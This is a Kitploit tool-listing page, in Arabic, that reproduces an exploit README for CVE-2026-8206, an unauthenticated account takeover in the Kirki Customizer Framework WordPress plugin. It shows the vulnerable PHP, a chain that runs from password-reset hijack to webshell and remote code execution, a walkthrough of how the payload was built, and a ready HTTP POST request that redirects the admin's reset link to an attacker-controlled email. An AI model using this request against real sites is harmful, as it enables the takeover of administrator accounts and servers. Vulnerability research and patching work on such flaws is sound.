Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - الاستيلاء على الحساب دون مصادقة (CVSS 9.8) | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2026-8206
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - الاستيلاء على الحساب دون مصادقة (CVSS 9.8)

118منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-8206

الثغرة: الاستيلاء على الحساب بدون مصادقة — اختطاف بريد إعادة تعيين كلمة المرور في إطار عمل Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 حرجة

المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. نظرة عامة

CVE-2026-8206 هي ثغرة الاستيلاء على الحساب بدون مصادقة في إطار عمل Kirki Customizer Framework — وهي إضافة شائعة لبناء صفحات ووردبريس مع أكثر من 90,000 تثبيت نشط. تسمح الثغرة للمهاجم بالاستيلاء على أي حساب ووردبريس (بما في ذلك حساب المشرف) بمجرد إرسال طلب HTTP واحد.

يكمن الخلل في نقطة نهاية REST API kirki-forgot-password في وحدة ComponentLibrary. تسمح نقطة النهاية هذه بطلب إعادة تعيين كلمة المرور لأي مستخدم وترسل رابط إعادة التعيين إلى عنوان بريد إلكتروني يحدده المهاجم، بدلاً من البريد الإلكتروني المسجل للمستخدم.

المعلوماتالتفاصيل
الإضافةKirki Customizer Framework (منشئ صفحات ووردبريس)
الإصدارات المتأثرة6.0.0 – 6.0.6
الإصدار المُصحَّح6.0.7 (أو 6.0.12+)
نوع الثغرةاستيلاء على الحساب بدون مصادقة عبر اختطاف بريد إعادة تعيين كلمة المرور
نقطة النهاية/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (أو /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 حرجة

متطلبات الاستغلال:

  • إطار عمل Kirki Customizer Framework 6.0.0–6.0.6 مُفعَّل
  • REST API عام (الوضع الافتراضي في ووردبريس)
  • وحدة ComponentLibrary نشطة (الوضع الافتراضي عند تفعيل الإضافة)
  • لا يتطلب أي حساب أو جلسة

→ كل موقع ووردبريس مثبت عليه Kirki 6.0.0–6.0.6 يكون عرضة للخطر افتراضيًا.

2. المصطلحات

نقاط نهاية REST الخاصة بـ ComponentLibrary

يسجّل Kirki نقاط نهاية REST API لميزة Component Library، بما في ذلك تسجيل الدخول والتسجيل ونسيان كلمة المرور وتغيير كلمة المرور. جميعها تسمح بوصول الضيوف (تُرجع guest_permissions_check القيمة true).

التحقق من nonce

nonce ووردبريس هو رمز حماية من CSRF. يتطلب Kirki nonce عبر ترويسة X-WP-Element-Nonce أو يتحقق من معامل nonce في الطلب. ومع ذلك، يمكن إنشاء الـ nonce أو استخراجه علنًا من جانب العميل.

مفتاح إعادة تعيين كلمة المرور

يستخدم ووردبريس get_password_reset_key() لإنشاء رمز إعادة تعيين كلمة المرور. يُدرج Kirki هذا الرمز في قالب البريد الإلكتروني قبل الإرسال.

3. السبب الجذري — اختطاف بريد إعادة تعيين كلمة المرور

الملف: ComponentLibrary/controller/CompLibFormHandler.php

الخلل 1: عدم التحقق من مطابقة البريد الإلكتروني للمستخدم

في الإصدار الضعيف (6.0.0–6.0.6)، لا تتحقق الدالة handle_forgot_password() من تطابق البريد الإلكتروني المقدم مع البريد الإلكتروني المسجل للمستخدم. يمكن للمهاجم تحديد اسم مستخدم الضحية وبريده الإلكتروني الخاص — وسيُرسل رابط إعادة التعيين إلى بريد المهاجم.

الكود المصدري الضعيف:

public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

الخلل 2: عدم وجود توقيع HMAC على قالب البريد الإلكتروني

يتم استلام موضوع البريد الإلكتروني ونصه من العميل عبر المعاملين emailSubject وemailBody دون أي توقيع HMAC للتحقق من السلامة. يمكن للمهاجم تعديل محتوى البريد الإلكتروني المرسل بشكل تعسفي.

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. لماذا تعتبر هذه الثغرة خطيرة

العاملالشرح
لا يتطلب مصادقةتُرجع guest_permissions_check() القيمة true — يمكن لأي شخص استدعاء نقطة النهاية
يمكن الاستيلاء على أي حسابفقط اسم المستخدم مطلوب (الافتراضي: 'admin') — لا حاجة لبريد إلكتروني/كلمة مرور
التأثير: الاستيلاء على حساب المشرفالاستيلاء على المشرف → رفع webshell → RCE → سيطرة كاملة على الخادم
انتشار واسعKirki إضافة مدمجة على نطاق واسع في العديد من قوالب ووردبريس

5. تحليل سلسلة الهجوم

يبدأ استغلال CVE-2026-8206 من صفر وصول — لا حساب، لا كلمة مرور، لا جلسة — إلى استيلاء كامل على حساب المشرف باستخدام طلبات HTTP فقط.

Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 منهجية بناء الحمولة

الخطوة 1: قراءة الكود المصدري (الطريقة الأكثر دقة)

حمّل الإضافة من wordpress.org وافتح الملف CompLibFormHandler.php مباشرة:

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ تكشف قراءة الكود أن: emailBody يجب أن تكون مصفوفة JSON، كل عنصر يحتوي على type وvalue. إذا كان type = chip وvalue = reset_link، يقوم Kirki تلقائيًا بإدراج رابط إعادة التعيين في البريد الإلكتروني.

الخطوة 2: البحث في حزمة JavaScript الخاصة بالإضافة

ابحث مباشرة داخل دليل الإضافة:

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

سيكشف الكود الأمامي المُجمَّع عن بنية JSON الدقيقة المطلوبة.

ملخص عملية اكتشاف الحمولة:

Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 المرحلة 1: اختطاف بريد إعادة تعيين كلمة المرور

يرسل المهاجم طلب POST إلى نقطة نهاية forgot-password مع اسم مستخدم الضحية (admin) وعنوان بريد إلكتروني يتحكم به المهاجم ([email protected]). يولّد الخادم مفتاح إعادة تعيين للضحية لكنه يرسل رابط إعادة التعيين إلى [email protected].

إرسال الطلب:

POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

اعتراض طلب إرسال بريد إعادة التعيين

الاستجابة (نجاح):

استجابة تؤكد إرسال البريد الإلكتروني

تنزيل الأداة